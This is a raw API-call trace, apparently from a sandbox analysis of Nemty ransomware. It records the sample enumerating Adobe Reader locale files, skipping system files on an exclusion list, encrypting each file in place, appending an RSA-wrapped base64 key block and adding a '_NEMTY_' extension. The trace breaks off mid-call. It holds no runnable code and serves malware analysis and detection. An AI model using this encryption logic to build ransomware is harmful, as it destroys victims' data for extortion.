RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DVA.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\dva.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.994] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13824) returned 1 [0178.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3600) returned 0x6352c48 [0178.994] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.994] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3600, lpOverlapped=0x0) returned 1 [0178.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.997] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3600, lpOverlapped=0x0) returned 1 [0178.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3600 [0178.997] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.997] CloseHandle (hObject=0x2e8) returned 1 [0178.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0178.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.997] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DVA.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\dva.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DVA.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\dva.jpn._nemty_kgobjgd_")) returned 1 [0178.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0178.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.998] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.JPN", cAlternateFileName="")) returned 1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2=".") returned 1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="..") returned 1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="...") returned 1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="windows") returned -1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="rsa") returned -1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="NTDETECT.COM") returned -1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="ntldr") returned -1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="MSDOS.SYS") returned -1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="IO.SYS") returned -1 [0178.998] lstrcmpiW (lpString1="eBook.JPN", lpString2="boot.ini") returned 1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="boot.ini") returned 1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="ntuser.dat") returned -1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="desktop.ini") returned 1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="CONFIG.SYS") returned 1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="RECYCLER") returned -1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="BOOTSECT.BAK") returned 1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="bootmgr") returned 1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="programdata") returned -1 [0178.999] lstrcmpiW (lpString1="eBook.JPN", lpString2="appdata") returned 1 [0178.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.JPN", lpUsedDefaultChar=0x0) returned 9 [0178.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.JPN", lpUsedDefaultChar=0x0) returned 9 [0178.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.JPN", lpUsedDefaultChar=0x0) returned 9 [0178.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.JPN", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.JPN", lpUsedDefaultChar=0x0) returned 9 [0178.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.999] Sleep (dwMilliseconds=0x5) [0179.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e5806d0, dwHighDateTime=0x1d561e8)) [0179.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e5806d0, dwHighDateTime=0x1d561e8)) [0179.008] GetLastError () returned 0x0 [0179.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.008] GetLastError () returned 0x0 [0179.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.008] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.008] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.008] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.008] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="+2A2ecunCv07SVjA8FloPsrxUux3NF7tYx5Fhr58H2oxcRIKc52ZQANq4In0Xi2H\r\nI6615UDdKpufs3COlvNQ4kmAig2ODMjcysvz13kFj6EKvvk6xU3rrQ2sVnQ+5K0a\r\nG12p2kmVSIx5lKKBGQ2Up7rphQGnqSx0ennc2zIicBBVGZ3bM/1x7LCoMzkeqc84\r\nWFiHRzcp5p1ms19BR2FVp4wyR4p7AIm0QHG78k1JHhNCLB393G7tGiGoAKo8a7Zb\r\nx6gL4fuF8QtMvmECik8Pkj1EeqBWv4diXCZZdcpXlFFiilwZ8Z5hGg0Dnbx6uHfL\r\nbYU2GKK0NzBoZ65mvdC6Iw==\r\n", pcchString=0x653e5dc) returned 1 [0179.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\eBook.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ebook.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.009] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6144) returned 1 [0179.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1800) returned 0x6352c48 [0179.009] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.009] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1800, lpOverlapped=0x0) returned 1 [0179.011] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.011] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1800, lpOverlapped=0x0) returned 1 [0179.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.011] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1800 [0179.011] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.011] CloseHandle (hObject=0x2e8) returned 1 [0179.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.012] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\eBook.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ebook.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\eBook.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\ebook.jpn._nemty_kgobjgd_")) returned 1 [0179.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.012] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.JPN", cAlternateFileName="")) returned 1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2=".") returned 1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2="..") returned 1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2="...") returned 1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2="windows") returned -1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2="rsa") returned -1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2="NTDETECT.COM") returned -1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2="ntldr") returned -1 [0179.012] lstrcmpiW (lpString1="EScript.JPN", lpString2="MSDOS.SYS") returned -1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="IO.SYS") returned -1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="boot.ini") returned 1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="boot.ini") returned 1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="ntuser.dat") returned -1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="desktop.ini") returned 1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="CONFIG.SYS") returned 1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="RECYCLER") returned -1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="bootmgr") returned 1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="programdata") returned -1 [0179.013] lstrcmpiW (lpString1="EScript.JPN", lpString2="appdata") returned 1 [0179.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.JPN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.JPN", lpUsedDefaultChar=0x0) returned 11 [0179.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.013] Sleep (dwMilliseconds=0x5) [0179.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e5a6830, dwHighDateTime=0x1d561e8)) [0179.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e5a6830, dwHighDateTime=0x1d561e8)) [0179.024] GetLastError () returned 0x0 [0179.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.024] GetLastError () returned 0x0 [0179.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.024] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.024] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.024] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.024] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 